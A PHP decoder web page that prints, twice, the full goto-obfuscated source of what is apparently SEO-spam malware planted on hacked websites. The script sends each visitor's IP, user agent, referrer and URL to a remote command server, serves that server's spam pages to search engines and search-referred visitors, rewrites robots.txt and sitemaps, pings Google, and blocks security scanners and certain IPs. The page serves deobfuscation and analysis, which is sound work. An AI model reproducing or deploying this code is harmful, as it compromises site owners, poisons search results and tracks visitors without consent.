Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? goto Hp9LD; zcp9a: NEwMu: goto GfKj9; V5Gcl: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer=..

Decoded Output download

<?  goto Hp9LD; zcp9a: NEwMu: goto GfKj9; V5Gcl: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}"; goto InlU8; ITyh9: $_SERVER["REQUEST_SCHEME"] = "https"; goto r2Z_L; c7DeA: $l49T8 = urlencode($_SERVER["SCRIPT_NAME"]); goto Ur7wC; ZIFl1: if (!($sLIIg == "153.246.135.238" || $sLIIg == "219.101.44.233")) { goto e0Pgq; } goto f3bMl; kzGJL: iUIKi: goto J3eZs; KVEE1: $oyxNo = urlencode($_SERVER["REQUEST_SCHEME"]); goto lNSgn; T_sgy: function UA2Od($nxiBr) { goto gboNv; u5X6E: $VQ5E4 = curl_exec($To1CE); goto ecfp2; lkSR5: if (!(strpos($nxiBr, "https://") !== false)) { goto V4Z1h; } goto XzeKh; uMj2d: curl_setopt($To1CE, CURLOPT_RETURNTRANSFER, true); goto qRhWk; zY2pC: d1TI0: goto VAJYU; XzeKh: curl_setopt($To1CE, CURLOPT_SSL_VERIFYPEER, FALSE); goto P69Ig; P69Ig: curl_setopt($To1CE, CURLOPT_SSL_VERIFYHOST, FALSE); goto lBSVk; qRhWk: curl_setopt($To1CE, CURLOPT_FOLLOWLOCATION, false); goto lkSR5; ecfp2: curl_close($To1CE); goto zY2pC; xKdwV: $To1CE = curl_init(); goto aCvCz; lBSVk: V4Z1h: goto u5X6E; VAJYU: return $VQ5E4; goto p3cLi; aCvCz: curl_setopt($To1CE, CURLOPT_URL, $nxiBr); goto uMj2d; FMEFo: if (!empty($VQ5E4)) { goto d1TI0; } goto xKdwV; gboNv: $VQ5E4 = @file_get_contents($nxiBr); goto FMEFo; p3cLi: } goto a71U9; zFF2z: lIGFi: goto zafpq; pgd2p: $kksF_ = urlencode($_SERVER["HTTP_HOST"]); goto c7DeA; wZkD7: if (!preg_match("/<h2>(.+?)<\/h2>/i", $EiK5X, $jwu0u)) { goto aa3Yw; } goto PEIZo; A7E3E: e0Pgq: goto e2B8l; sJH6E: header("HTTP/1.0 403 Forbidden"); goto QbefS; c1S6O: $SdozF = trim($SdozF) . "\xd\xa" . "Sitemap: {$EhZgC}"; goto bmy8G; baH15: $XZar_++; goto B3OUf; IpYzF: exit; goto A7E3E; tz8gi: goto TPc2B; goto gbHFX; lhFtZ: if ($EiK5X == "ok") { goto ZK0BE; } goto i7vC0; VR90G: PdTVG: goto fEefK; XTl2y: goto P00aT; goto p_ymn; KrVj_: nR4to: goto DEn8c; YTGPc: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}"; goto bV3lr; e2B8l: $YMTaP = 0; goto iUAIe; AMq7W: $j0iG5 = $j0iG5 . "?"; goto r9pjr; Hp9LD: error_reporting(0); goto JVu2E; jIO1b: if (empty($EiK5X)) { goto X81FR; } goto ZffF9; jJR2f: exit; goto kzGJL; dyeF8: lOAOt: goto ZIFl1; UGfAl: exit; goto dA6GB; B3OUf: goto A94XB; goto KrVj_; ifFjv: $DAkaI = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto CCveM; yuGoF: D4q6x: goto YTGPc; zu1C5: $EiK5X = UA2Od($OeKU9); goto sqP0s; HBt3o: echo $EiK5X; goto v0yKi; vm8OF: $DEI9v = urlencode($sLIIg); goto pgd2p; Zp8Vm: if ($YMTaP == 0) { goto wHbB3; } goto rr4mo; SQ5LZ: if (preg_match("@^/(.*?).xml$@i", $y0gCp)) { goto QkW0R; } goto DVhIz; DVhIz: if (preg_match("/({$Vsx34})/i", $_SERVER["HTTP_USER_AGENT"])) { goto TKUmO; } goto pOnqd; OHUtK: Qv0AH: goto zFF2z; vKDuc: goto lV58w; goto ZHsET; Ur7wC: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto y9AHr; } goto gk5tn; Pe23g: goto uszZX; goto nAkdL; u7U7T: kYrOq: goto QLJ9O; PVfhJ: $EiK5X = uA2od($OeKU9); goto HS3aN; gk5tn: $_SERVER["REQUEST_SCHEME"] = "http"; goto XTl2y; pepou: FFa0e: goto cLTH2; InlU8: $EiK5X = Ua2oD($OeKU9); goto Zl80V; Lyxb6: $YMTaP = 1; goto bUDpk; D9HBQ: goto kYrOq; goto pepou; reofA: $DZemt = urlencode($_SERVER["HTTP_REFERER"]); goto ifFjv; r2Z_L: P00aT: goto KVEE1; lNSgn: $y0gCp = urldecode($_SERVER["REQUEST_URI"]); goto DNnLB; nmoqx: $nCCy3 = urlencode($_SERVER["HTTP_USER_AGENT"]); goto reofA; CYeP6: $SdozF = "User-agent: * 
\xaAllow: /"; goto jrW9r; Zl80V: if (empty($EiK5X)) { goto a5ud3; } goto arq5X; A0fjE: Ne4sh: goto njRCK; b9m2U: $YMTaP = @file_get_contents("uxo.txt"); goto D9HBQ; UDa8h: $XZar_ = 1; goto yIC4U; cLTH2: $h54ez = $oyxNo . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto ts2oP; JKLGs: QkW0R: goto dB9qW; ZffF9: header("HTTP/1.1 404 Not Found"); goto qulOS; K7k_k: TPc2B: goto dlT_2; BnyM3: uszZX: goto HBt3o; Wz0KB: $jmGEa = "https://www.google.com/ping?sitemap="; goto CYeP6; DEn8c: @file_put_contents("robots.txt", $SdozF); goto W8JTK; KC7aG: goto V7fIy; goto yuGoF; J0dnT: @file_put_contents("robots.txt", $EiK5X); goto aiD_J; RWign: $EiK5X = Ua2OD($OeKU9); goto UDa8h; E9wAu: exit; goto dyeF8; hWhuq: jginp: goto C6t8o; FjzAM: @file_put_contents("uxo.txt", "0"); goto cqi8s; DNnLB: if (!(strpos($y0gCp, "uuuuxxxxooo") !== false)) { goto lOAOt; } goto aIHgX; zNKk7: if (strpos($y0gCp, "robots.txt") !== false || strpos($y0gCp, "writerobots") !== false) { goto PdTVG; } goto SQ5LZ; PEIZo: $Bdh6i = $jwu0u[1]; goto OSndh; cqi8s: goto Dbus4; goto LnhMy; W8JTK: exit; goto pOjKF; Yn9cm: echo $EiK5X = uA2OD($OeKU9); goto J0dnT; EXAIb: if (strpos($y0gCp, "favicon.ico") !== false) { goto Qv0AH; } goto CLWIF; crNFr: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}"; goto PVfhJ; CCveM: $sLIIg = cTnDW(); goto vm8OF; QAzgZ: Oz3AZ: goto baH15; a71U9: function z1AWa($nxiBr) { goto Z7UeJ; wmmm7: $VQ5E4 = curl_exec($To1CE); goto p6q2y; bAAYA: curl_setopt($To1CE, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto WE46E; QiQJx: FKQA7: goto m8PAF; SquGV: curl_setopt($To1CE, CURLOPT_FOLLOWLOCATION, false); goto bAAYA; oAhRQ: $VQ5E4 = @file_get_contents($nxiBr); goto QiQJx; OZi0v: curl_setopt($To1CE, CURLOPT_URL, $nxiBr); goto Rvt5I; Jhn3I: if (!empty($VQ5E4)) { goto FKQA7; } goto oAhRQ; Rvt5I: curl_setopt($To1CE, CURLOPT_RETURNTRANSFER, true); goto SquGV; YNN_i: curl_setopt($To1CE, CURLOPT_SSL_VERIFYPEER, FALSE); goto CF2mn; m8PAF: return $VQ5E4; goto GWCWk; Z7UeJ: $To1CE = curl_init(); goto OZi0v; WE46E: if (!(strpos($nxiBr, "https://") !== false)) { goto HkfKf; } goto YNN_i; CF2mn: curl_setopt($To1CE, CURLOPT_SSL_VERIFYHOST, FALSE); goto RKpz0; p6q2y: curl_close($To1CE); goto Jhn3I; RKpz0: HkfKf: goto wmmm7; GWCWk: } goto RUJEO; TBRjr: $j0iG5 = "/?"; goto K7k_k; OSndh: aa3Yw: goto vUGZj; iUAIe: if (!file_exists("uxo.txt")) { goto FFa0e; } goto b9m2U; JVu2E: function CtnDw() { goto DrBVr; XdEZM: $YEr1w = explode(",", $DEI9v); goto NUkIU; r2AiP: $DEI9v = getenv("REMOTE_ADDR"); goto Vd8Vu; g4u9U: $DEI9v = getenv("HTTP_X_REAL_IP"); goto OCCiR; UusVK: goto Yj0Fu; goto K12Vw; ic8R4: $DEI9v = getenv("HTTP_CLIENT_IP"); goto yASRW; DrBVr: if (!getenv("HTTP_CLIENT_IP")) { goto mpRw3; } goto ic8R4; gVNer: M27CZ: goto g4u9U; KiZB6: if (getenv("HTTP_X_FORWARDED_FOR")) { goto LE9uZ; } goto sFY_2; okgen: $DEI9v = getenv("HTTP_X_FORWARDED_FOR"); goto XdEZM; UvOYN: if (getenv("HTTP_X_REAL_IP")) { goto M27CZ; } goto KiZB6; Vd8Vu: Yj0Fu: goto FLZve; yASRW: mpRw3: goto UvOYN; ZFCBi: $DEI9v = "0.0.0.0"; goto cNCSk; cNCSk: goto Yj0Fu; goto gVNer; NUkIU: $DEI9v = $YEr1w[0]; goto UusVK; OCCiR: goto Yj0Fu; goto twT3c; twT3c: LE9uZ: goto okgen; sFY_2: if (getenv("REMOTE_ADDR")) { goto CSKs3; } goto ZFCBi; K12Vw: CSKs3: goto r2AiP; FLZve: return $DEI9v; goto J00t6; J00t6: } goto T_sgy; dB9qW: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}"; goto zu1C5; yIC4U: A94XB: goto CQXk3; p_ymn: y9AHr: goto ITyh9; BH_jW: exit; goto fxG2F; oaXy2: Dbus4: goto u7U7T; dskxP: QjUPc: goto vKDuc; dA6GB: X81FR: goto l0kBw; FJHEG: $qIB6T = "http://cw47.mattloop.top/index.php"; goto jZu2u; D90Jy: Mm5Y3: goto Zp8Vm; vhZxg: $Bdh6i = ''; goto wZkD7; aiD_J: exit; goto dskxP; njRCK: $j0iG5 = $_SERVER["SCRIPT_NAME"]; goto CB7s1; QLJ9O: if (strpos($y0gCp, "pingsitemap.xml") !== false) { goto Ne4sh; } goto EXAIb; GfKj9: goto iUIKi; goto JKLGs; CTlUz: header("Content-Type: text/plain; charset=utf-8"); goto Yn9cm; jZu2u: $Ybkkx = 2711; goto nmoqx; NjzQ4: echo $EiK5X; goto jJR2f; dlT_2: z5pFA: goto Wz0KB; l0kBw: V7fIy: goto BCV2S; hJ76w: TKUmO: goto V5Gcl; x0vVu: header("Content-Type: text/xml; charset=utf-8"); goto BnyM3; bmy8G: $EiK5X = Z1aWa($jmGEa . urlencode($EhZgC)); goto vhZxg; qulOS: echo $EiK5X; goto UGfAl; aIHgX: echo "ok"; goto E9wAu; ffCf3: usleep(100 * 1000); goto Yco8D; r9pjr: goto z5pFA; goto D90Jy; nAkdL: oQGqC: goto x0vVu; fEefK: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}"; goto CTlUz; HS3aN: echo $EiK5X; goto BH_jW; i7vC0: $YMTaP = 0; goto FjzAM; RUJEO: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto jginp; } goto sJH6E; CLWIF: if (strpos($y0gCp, "jp2023") !== false) { goto bxK73; } goto zNKk7; SKe6q: header("Content-Type: text/html; charset=utf-8"); goto Pe23g; rr4mo: $j0iG5 = "/"; goto tz8gi; bV3lr: $EiK5X = ua2od($OeKU9); goto jIO1b; jrW9r: $EhZgC = "{$oyxNo}://" . $kksF_ . $j0iG5 . "sitemap.xml"; goto c1S6O; BCV2S: goto NEwMu; goto hJ76w; v0yKi: exit; goto buvS4; ZHsET: bxK73: goto crNFr; QbefS: exit; goto hWhuq; C5J7h: goto lIGFi; goto OHUtK; f3bMl: header("HTTP/1.0 403 Forbidden"); goto IpYzF; zafpq: goto Hjw6A; goto A0fjE; fxG2F: lV58w: goto C5J7h; vUGZj: echo $EhZgC . ": " . $Bdh6i . "<br/>"; goto ffCf3; ts2oP: $EiK5X = UA2Od($h54ez); goto lhFtZ; Yco8D: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}&sitemap=" . urlencode($EhZgC); goto RWign; LnhMy: ZK0BE: goto Lyxb6; CB7s1: if (strpos($j0iG5, "index.php") !== false) { goto Mm5Y3; } goto AMq7W; pOnqd: if (preg_match("/({$Vsx34})/i", $_SERVER["HTTP_REFERER"])) { goto D4q6x; } goto KC7aG; bUDpk: @file_put_contents("uxo.txt", "1"); goto oaXy2; buvS4: a5ud3: goto zcp9a; C6t8o: $Vsx34 = "bing|google|yahoo"; goto FJHEG; CQXk3: if (!($XZar_ < 30)) { goto nR4to; } goto QAzgZ; J3eZs: goto QjUPc; goto VR90G; sqP0s: header("Content-Type: text/xml; charset=utf-8"); goto NjzQ4; arq5X: if (substr($EiK5X, 0, 5) == "<?xml") { goto oQGqC; } goto SKe6q; gbHFX: wHbB3: goto TBRjr; pOjKF: Hjw6A:  ?>

Did this file decode correctly?

Original Code

<?  goto Hp9LD; zcp9a: NEwMu: goto GfKj9; V5Gcl: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}"; goto InlU8; ITyh9: $_SERVER["REQUEST_SCHEME"] = "https"; goto r2Z_L; c7DeA: $l49T8 = urlencode($_SERVER["SCRIPT_NAME"]); goto Ur7wC; ZIFl1: if (!($sLIIg == "153.246.135.238" || $sLIIg == "219.101.44.233")) { goto e0Pgq; } goto f3bMl; kzGJL: iUIKi: goto J3eZs; KVEE1: $oyxNo = urlencode($_SERVER["REQUEST_SCHEME"]); goto lNSgn; T_sgy: function UA2Od($nxiBr) { goto gboNv; u5X6E: $VQ5E4 = curl_exec($To1CE); goto ecfp2; lkSR5: if (!(strpos($nxiBr, "https://") !== false)) { goto V4Z1h; } goto XzeKh; uMj2d: curl_setopt($To1CE, CURLOPT_RETURNTRANSFER, true); goto qRhWk; zY2pC: d1TI0: goto VAJYU; XzeKh: curl_setopt($To1CE, CURLOPT_SSL_VERIFYPEER, FALSE); goto P69Ig; P69Ig: curl_setopt($To1CE, CURLOPT_SSL_VERIFYHOST, FALSE); goto lBSVk; qRhWk: curl_setopt($To1CE, CURLOPT_FOLLOWLOCATION, false); goto lkSR5; ecfp2: curl_close($To1CE); goto zY2pC; xKdwV: $To1CE = curl_init(); goto aCvCz; lBSVk: V4Z1h: goto u5X6E; VAJYU: return $VQ5E4; goto p3cLi; aCvCz: curl_setopt($To1CE, CURLOPT_URL, $nxiBr); goto uMj2d; FMEFo: if (!empty($VQ5E4)) { goto d1TI0; } goto xKdwV; gboNv: $VQ5E4 = @file_get_contents($nxiBr); goto FMEFo; p3cLi: } goto a71U9; zFF2z: lIGFi: goto zafpq; pgd2p: $kksF_ = urlencode($_SERVER["HTTP_HOST"]); goto c7DeA; wZkD7: if (!preg_match("/<h2>(.+?)<\/h2>/i", $EiK5X, $jwu0u)) { goto aa3Yw; } goto PEIZo; A7E3E: e0Pgq: goto e2B8l; sJH6E: header("HTTP/1.0 403 Forbidden"); goto QbefS; c1S6O: $SdozF = trim($SdozF) . "\xd\xa" . "Sitemap: {$EhZgC}"; goto bmy8G; baH15: $XZar_++; goto B3OUf; IpYzF: exit; goto A7E3E; tz8gi: goto TPc2B; goto gbHFX; lhFtZ: if ($EiK5X == "ok") { goto ZK0BE; } goto i7vC0; VR90G: PdTVG: goto fEefK; XTl2y: goto P00aT; goto p_ymn; KrVj_: nR4to: goto DEn8c; YTGPc: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}"; goto bV3lr; e2B8l: $YMTaP = 0; goto iUAIe; AMq7W: $j0iG5 = $j0iG5 . "?"; goto r9pjr; Hp9LD: error_reporting(0); goto JVu2E; jIO1b: if (empty($EiK5X)) { goto X81FR; } goto ZffF9; jJR2f: exit; goto kzGJL; dyeF8: lOAOt: goto ZIFl1; UGfAl: exit; goto dA6GB; B3OUf: goto A94XB; goto KrVj_; ifFjv: $DAkaI = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto CCveM; yuGoF: D4q6x: goto YTGPc; zu1C5: $EiK5X = UA2Od($OeKU9); goto sqP0s; HBt3o: echo $EiK5X; goto v0yKi; vm8OF: $DEI9v = urlencode($sLIIg); goto pgd2p; Zp8Vm: if ($YMTaP == 0) { goto wHbB3; } goto rr4mo; SQ5LZ: if (preg_match("@^/(.*?).xml$@i", $y0gCp)) { goto QkW0R; } goto DVhIz; DVhIz: if (preg_match("/({$Vsx34})/i", $_SERVER["HTTP_USER_AGENT"])) { goto TKUmO; } goto pOnqd; OHUtK: Qv0AH: goto zFF2z; vKDuc: goto lV58w; goto ZHsET; Ur7wC: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto y9AHr; } goto gk5tn; Pe23g: goto uszZX; goto nAkdL; u7U7T: kYrOq: goto QLJ9O; PVfhJ: $EiK5X = uA2od($OeKU9); goto HS3aN; gk5tn: $_SERVER["REQUEST_SCHEME"] = "http"; goto XTl2y; pepou: FFa0e: goto cLTH2; InlU8: $EiK5X = Ua2oD($OeKU9); goto Zl80V; Lyxb6: $YMTaP = 1; goto bUDpk; D9HBQ: goto kYrOq; goto pepou; reofA: $DZemt = urlencode($_SERVER["HTTP_REFERER"]); goto ifFjv; r2Z_L: P00aT: goto KVEE1; lNSgn: $y0gCp = urldecode($_SERVER["REQUEST_URI"]); goto DNnLB; nmoqx: $nCCy3 = urlencode($_SERVER["HTTP_USER_AGENT"]); goto reofA; CYeP6: $SdozF = "User-agent: *
\xaAllow: /"; goto jrW9r; Zl80V: if (empty($EiK5X)) { goto a5ud3; } goto arq5X; A0fjE: Ne4sh: goto njRCK; b9m2U: $YMTaP = @file_get_contents("uxo.txt"); goto D9HBQ; UDa8h: $XZar_ = 1; goto yIC4U; cLTH2: $h54ez = $oyxNo . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto ts2oP; JKLGs: QkW0R: goto dB9qW; ZffF9: header("HTTP/1.1 404 Not Found"); goto qulOS; K7k_k: TPc2B: goto dlT_2; BnyM3: uszZX: goto HBt3o; Wz0KB: $jmGEa = "https://www.google.com/ping?sitemap="; goto CYeP6; DEn8c: @file_put_contents("robots.txt", $SdozF); goto W8JTK; KC7aG: goto V7fIy; goto yuGoF; J0dnT: @file_put_contents("robots.txt", $EiK5X); goto aiD_J; RWign: $EiK5X = Ua2OD($OeKU9); goto UDa8h; E9wAu: exit; goto dyeF8; hWhuq: jginp: goto C6t8o; FjzAM: @file_put_contents("uxo.txt", "0"); goto cqi8s; DNnLB: if (!(strpos($y0gCp, "uuuuxxxxooo") !== false)) { goto lOAOt; } goto aIHgX; zNKk7: if (strpos($y0gCp, "robots.txt") !== false || strpos($y0gCp, "writerobots") !== false) { goto PdTVG; } goto SQ5LZ; PEIZo: $Bdh6i = $jwu0u[1]; goto OSndh; cqi8s: goto Dbus4; goto LnhMy; W8JTK: exit; goto pOjKF; Yn9cm: echo $EiK5X = uA2OD($OeKU9); goto J0dnT; EXAIb: if (strpos($y0gCp, "favicon.ico") !== false) { goto Qv0AH; } goto CLWIF; crNFr: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}"; goto PVfhJ; CCveM: $sLIIg = cTnDW(); goto vm8OF; QAzgZ: Oz3AZ: goto baH15; a71U9: function z1AWa($nxiBr) { goto Z7UeJ; wmmm7: $VQ5E4 = curl_exec($To1CE); goto p6q2y; bAAYA: curl_setopt($To1CE, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto WE46E; QiQJx: FKQA7: goto m8PAF; SquGV: curl_setopt($To1CE, CURLOPT_FOLLOWLOCATION, false); goto bAAYA; oAhRQ: $VQ5E4 = @file_get_contents($nxiBr); goto QiQJx; OZi0v: curl_setopt($To1CE, CURLOPT_URL, $nxiBr); goto Rvt5I; Jhn3I: if (!empty($VQ5E4)) { goto FKQA7; } goto oAhRQ; Rvt5I: curl_setopt($To1CE, CURLOPT_RETURNTRANSFER, true); goto SquGV; YNN_i: curl_setopt($To1CE, CURLOPT_SSL_VERIFYPEER, FALSE); goto CF2mn; m8PAF: return $VQ5E4; goto GWCWk; Z7UeJ: $To1CE = curl_init(); goto OZi0v; WE46E: if (!(strpos($nxiBr, "https://") !== false)) { goto HkfKf; } goto YNN_i; CF2mn: curl_setopt($To1CE, CURLOPT_SSL_VERIFYHOST, FALSE); goto RKpz0; p6q2y: curl_close($To1CE); goto Jhn3I; RKpz0: HkfKf: goto wmmm7; GWCWk: } goto RUJEO; TBRjr: $j0iG5 = "/?"; goto K7k_k; OSndh: aa3Yw: goto vUGZj; iUAIe: if (!file_exists("uxo.txt")) { goto FFa0e; } goto b9m2U; JVu2E: function CtnDw() { goto DrBVr; XdEZM: $YEr1w = explode(",", $DEI9v); goto NUkIU; r2AiP: $DEI9v = getenv("REMOTE_ADDR"); goto Vd8Vu; g4u9U: $DEI9v = getenv("HTTP_X_REAL_IP"); goto OCCiR; UusVK: goto Yj0Fu; goto K12Vw; ic8R4: $DEI9v = getenv("HTTP_CLIENT_IP"); goto yASRW; DrBVr: if (!getenv("HTTP_CLIENT_IP")) { goto mpRw3; } goto ic8R4; gVNer: M27CZ: goto g4u9U; KiZB6: if (getenv("HTTP_X_FORWARDED_FOR")) { goto LE9uZ; } goto sFY_2; okgen: $DEI9v = getenv("HTTP_X_FORWARDED_FOR"); goto XdEZM; UvOYN: if (getenv("HTTP_X_REAL_IP")) { goto M27CZ; } goto KiZB6; Vd8Vu: Yj0Fu: goto FLZve; yASRW: mpRw3: goto UvOYN; ZFCBi: $DEI9v = "0.0.0.0"; goto cNCSk; cNCSk: goto Yj0Fu; goto gVNer; NUkIU: $DEI9v = $YEr1w[0]; goto UusVK; OCCiR: goto Yj0Fu; goto twT3c; twT3c: LE9uZ: goto okgen; sFY_2: if (getenv("REMOTE_ADDR")) { goto CSKs3; } goto ZFCBi; K12Vw: CSKs3: goto r2AiP; FLZve: return $DEI9v; goto J00t6; J00t6: } goto T_sgy; dB9qW: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}"; goto zu1C5; yIC4U: A94XB: goto CQXk3; p_ymn: y9AHr: goto ITyh9; BH_jW: exit; goto fxG2F; oaXy2: Dbus4: goto u7U7T; dskxP: QjUPc: goto vKDuc; dA6GB: X81FR: goto l0kBw; FJHEG: $qIB6T = "http://cw47.mattloop.top/index.php"; goto jZu2u; D90Jy: Mm5Y3: goto Zp8Vm; vhZxg: $Bdh6i = ''; goto wZkD7; aiD_J: exit; goto dskxP; njRCK: $j0iG5 = $_SERVER["SCRIPT_NAME"]; goto CB7s1; QLJ9O: if (strpos($y0gCp, "pingsitemap.xml") !== false) { goto Ne4sh; } goto EXAIb; GfKj9: goto iUIKi; goto JKLGs; CTlUz: header("Content-Type: text/plain; charset=utf-8"); goto Yn9cm; jZu2u: $Ybkkx = 2711; goto nmoqx; NjzQ4: echo $EiK5X; goto jJR2f; dlT_2: z5pFA: goto Wz0KB; l0kBw: V7fIy: goto BCV2S; hJ76w: TKUmO: goto V5Gcl; x0vVu: header("Content-Type: text/xml; charset=utf-8"); goto BnyM3; bmy8G: $EiK5X = Z1aWa($jmGEa . urlencode($EhZgC)); goto vhZxg; qulOS: echo $EiK5X; goto UGfAl; aIHgX: echo "ok"; goto E9wAu; ffCf3: usleep(100 * 1000); goto Yco8D; r9pjr: goto z5pFA; goto D90Jy; nAkdL: oQGqC: goto x0vVu; fEefK: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}"; goto CTlUz; HS3aN: echo $EiK5X; goto BH_jW; i7vC0: $YMTaP = 0; goto FjzAM; RUJEO: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto jginp; } goto sJH6E; CLWIF: if (strpos($y0gCp, "jp2023") !== false) { goto bxK73; } goto zNKk7; SKe6q: header("Content-Type: text/html; charset=utf-8"); goto Pe23g; rr4mo: $j0iG5 = "/"; goto tz8gi; bV3lr: $EiK5X = ua2od($OeKU9); goto jIO1b; jrW9r: $EhZgC = "{$oyxNo}://" . $kksF_ . $j0iG5 . "sitemap.xml"; goto c1S6O; BCV2S: goto NEwMu; goto hJ76w; v0yKi: exit; goto buvS4; ZHsET: bxK73: goto crNFr; QbefS: exit; goto hWhuq; C5J7h: goto lIGFi; goto OHUtK; f3bMl: header("HTTP/1.0 403 Forbidden"); goto IpYzF; zafpq: goto Hjw6A; goto A0fjE; fxG2F: lV58w: goto C5J7h; vUGZj: echo $EhZgC . ": " . $Bdh6i . "<br/>"; goto ffCf3; ts2oP: $EiK5X = UA2Od($h54ez); goto lhFtZ; Yco8D: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}&sitemap=" . urlencode($EhZgC); goto RWign; LnhMy: ZK0BE: goto Lyxb6; CB7s1: if (strpos($j0iG5, "index.php") !== false) { goto Mm5Y3; } goto AMq7W; pOnqd: if (preg_match("/({$Vsx34})/i", $_SERVER["HTTP_REFERER"])) { goto D4q6x; } goto KC7aG; bUDpk: @file_put_contents("uxo.txt", "1"); goto oaXy2; buvS4: a5ud3: goto zcp9a; C6t8o: $Vsx34 = "bing|google|yahoo"; goto FJHEG; CQXk3: if (!($XZar_ < 30)) { goto nR4to; } goto QAzgZ; J3eZs: goto QjUPc; goto VR90G; sqP0s: header("Content-Type: text/xml; charset=utf-8"); goto NjzQ4; arq5X: if (substr($EiK5X, 0, 5) == "<?xml") { goto oQGqC; } goto SKe6q; gbHFX: wHbB3: goto TBRjr; pOjKF: Hjw6A: 

Function Calls

None

Variables

None

Stats

MD5 8873e517367705b1ffa31b446bc21bf9
Eval Count 0
Decode Time 59 ms